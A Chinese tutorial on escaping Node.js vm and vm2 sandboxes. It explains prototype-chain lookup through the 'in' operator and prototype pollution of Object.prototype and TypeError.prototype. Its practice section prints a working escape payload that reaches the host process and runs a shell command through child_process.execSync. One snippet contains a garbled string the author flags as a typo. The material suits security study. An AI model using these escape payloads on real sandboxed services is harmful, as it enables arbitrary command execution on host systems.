【vm沙箱逃逸】

一、什么是沙箱


二、使用方式



我们想在沙箱里运行代码会报错

主要是因为这个是主环境里的原型,沙箱里没有这个对象

通俗来说this是外部传入的,通过this来获取外部环境的原型来获取到process


三、vm2


目前的逃逸已经有很多方法了

我们就用其中一个例子来分析


in操作符的查找机制

当执行 "" in proxy;时,JavaScript 引擎会检查字符串 ""是否是 proxy对象的一个属性(或其原型链上的属性)。这个过程在代理对象中的逻辑如下:

首先,引擎会查看创建 proxy时传入的 handler对象是否定义了 has陷阱。代码中handler只定义了 get陷阱,没有定义 has陷阱。

由于没有 has陷阱进行拦截,引擎会转向默认行为,即对 proxy所代理的目标对象 target(这里是 {})执行默认的 \[HasProperty]内部操作。

默认的 \[HasProperty]与原型链

\[HasProperty]是一个内部操作,它的核心功能就是:判断一个对象(或其原型链上)是否拥有指定的属性。

当使用 in操作符(例如 "name" in obj)时,JavaScript 引擎在底层调用的就是这个 HasProperty内部方法,其中 P就是属性名 "name"。

对于普通对象 target(即 {}),in操作符(或内部的 \[HasProperty])会沿着该对象的原型链向上查找属性。

target本身是空对象,没有 has方法。

接着,查找 target的原型,即 Object.getPrototypeOf(target),它指向 Object.prototype。

在代码中,通过 Object.prototype.has = function() { ... }在 Object.prototype上直接添加了一个 has方法。

因此,当查找 has属性时,就在 Object.prototype上找到了它,于是执行了这个方法,打印出了 "has"。

复制代码
Object.prototype.has = function (t,k) {
    process = t.constructor("ret,rn process")();
};

原型污染:

在 Object.prototype上定义 has方法。由于所有对象都继承自 Object.prototype,沙箱内外所有对象都能访问此方法。

关键点:当 has方法被调用时,参数 t会是外部的原始对象(后面解释如何触发)。

利用构造函数逃逸:

t.constructor:获取 t的构造函数,即外部的 Function构造器。

"return process" 是创建一个返回外部 process对象的函数并立即执行。

执行结果(外部 process对象)赋值给沙箱内的 process变量。

复制代码
"use strict";

作用:启用 JavaScript 的严格模式,使代码在更严格的规则下运行。

在逃逸中的作用:确保代码行为可预测,避免某些静默错误干扰攻击流程。

复制代码
var process;

作用:在沙箱内部声明一个 process变量(此时为 undefined)。

策略:为后续存储外部真正的 process对象预留变量名。沙箱通常会阻止直接访问 Node.js 的全局 process对象,因此需要间接获取。

核心攻击代码:

复制代码
Object.prototype.has = function (t,k) {
    process = t.constructor("ret,rn process")();
};

原型污染:

在 Object.prototype上定义 has方法。由于所有对象都继承自 Object.prototype,沙箱内外所有对象都能访问此方法。

关键点:当 has方法被调用时,参数 t会是外部的原始对象(后面解释如何触发)。

利用构造函数逃逸:

t.constructor:获取 t的构造函数,即外部的 Function构造器。

代码中的 "ret,rn process"应该是 "return process"的笔误/混淆。实际效果是创建一个返回外部 process对象的函数并立即执行。

执行结果(外部 process对象)赋值给沙箱内的 process变量。

触发机制:

复制代码
"" in Buffer.from;

in操作符的工作流程:

执行 "" in Buffer.from时,检查 Buffer.from是否包含空字符串属性。

由于 Buffer.from是 Proxy,且 handler没有 has陷阱,引擎执行默认行为。

默认行为:对 Buffer.from的目标对象(外部真正的 Buffer.from函数)调用 [[HasProperty]]("")

原型链查找触发污染方法:

在查找属性过程中,引擎会沿着外部 Buffer.from的原型链查找。

外部 Buffer.from的原型链:Buffer.from→ Function.prototype→ Object.prototype。

由于 Object.prototype.has已被污染,在某些 JavaScript 引擎的实现中,属性检查可能会调用 has方法。

最关键的是:当 has方法被调用时,它的 this上下文或参数 t会是外部的 Buffer.from函数。


四、练习

复制代码
(function(){
    // 1. 污染 TypeError 的原型链
    TypeError.prototype.get_process = f => f.constructor("return process")();
    
    try {
        // 2. 故意触发一个 TypeError 异常
        Object.preventExtensions(Buffer.from("")) = a = 1;
    } catch(e) {
        // 3. 利用捕获的异常对象执行逃逸
        return e.get_process(() => {}).mainModule.require("child_process").execSync("whoami").toString();
    }
})()

原型链污染

复制代码
TypeError.prototype.get_process = f => f.constructor("return process")();

目标:污染 TypeError.prototype,为所有 TypeError实例添加 get_process方法。

方法原理:get_process方法接收一个函数 f,通过 f.constructor获取 Function构造函数,然后动态创建一个返回 process对象的函数并立即执行。

为什么有效:f.constructor总是返回 Function构造函数(除非 f的原型链被修改),而 Function构造函数在创建函数时默认使用当前执行上下文的全局对象。

故意触发异常

复制代码
Object.preventExtensions(Buffer.from("")) = a = 1;

Object.preventExtensions()使对象不可扩展(不能添加新属性)。

对 Buffer.from("")的结果调用此方法后,尝试给返回值赋值 a = 1。

关键错误:在严格模式下,给不可写的属性或不可扩展的对象赋值会抛出 TypeError异常。

利用异常对象逃逸

复制代码
catch(e) {
    return e.get_process(() => {}).mainModule.require("child_process").execSync("whoami").toString();
}

捕获异常:e是 TypeError实例,因为前面污染了原型,所以它有 get_process方法。

获取 process:e.get_process(() => {})执行时:

(() => {})是一个箭头函数,它的 constructor指向 Function

f.constructor("return process")()在外部全局上下文中执行,返回外部真正的 process对象

执行命令:通过获取的 process对象执行 whoami命令。


相关推荐
ID34610744202 小时前
【课程设计】基于Spring Boot+Vue的校园共享无人机服务系统设计与实现-计算机毕设 附源码44219
javascript·vue.js·spring boot·python·node.js·php·课程设计
敲敲敲敲暴你脑袋8 小时前
地图瓦片批量改色来啦!
node.js·gis·数据可视化
太子釢1 天前
AI 开发个人记账 App(服务端篇)
node.js·ai编程
用户64340495148511 天前
Elpis 项目构建工具与前端基建实践总结
node.js
FungLeo1 天前
成为全栈·Node 后端篇·后端测试策略:单元、集成与测试数据库
单元测试·node.js·集成测试·测试策略·成为全栈·测试数据库
FungLeo1 天前
成为全栈·Node 后端篇·评论内容安全:敏感词过滤、三态审核与级联删除
node.js·敏感词过滤·成为全栈·评论内容安全·评论审核·级联删除
FungLeo2 天前
成为全栈·Node 后端篇·阅读量防刷:去重、冷却与计数写分离
node.js·读写分离·数据去重·接口防刷·成为全栈·数据冷却
脉动数据行情12 天前
Node.js WebSocket 实现贵金属实时行情监听 伦敦金 / 伦敦银自动重连方案
websocket·node.js·vim
不老刘2 天前
一行命令解决 Node.js 版本兼容问题:`--openssl-legacy-provider` 深度解析
node.js
万敏3 天前
Vue3 全栈实战:第一阶段复盘(第1-8周)
vue.js·node.js·全栈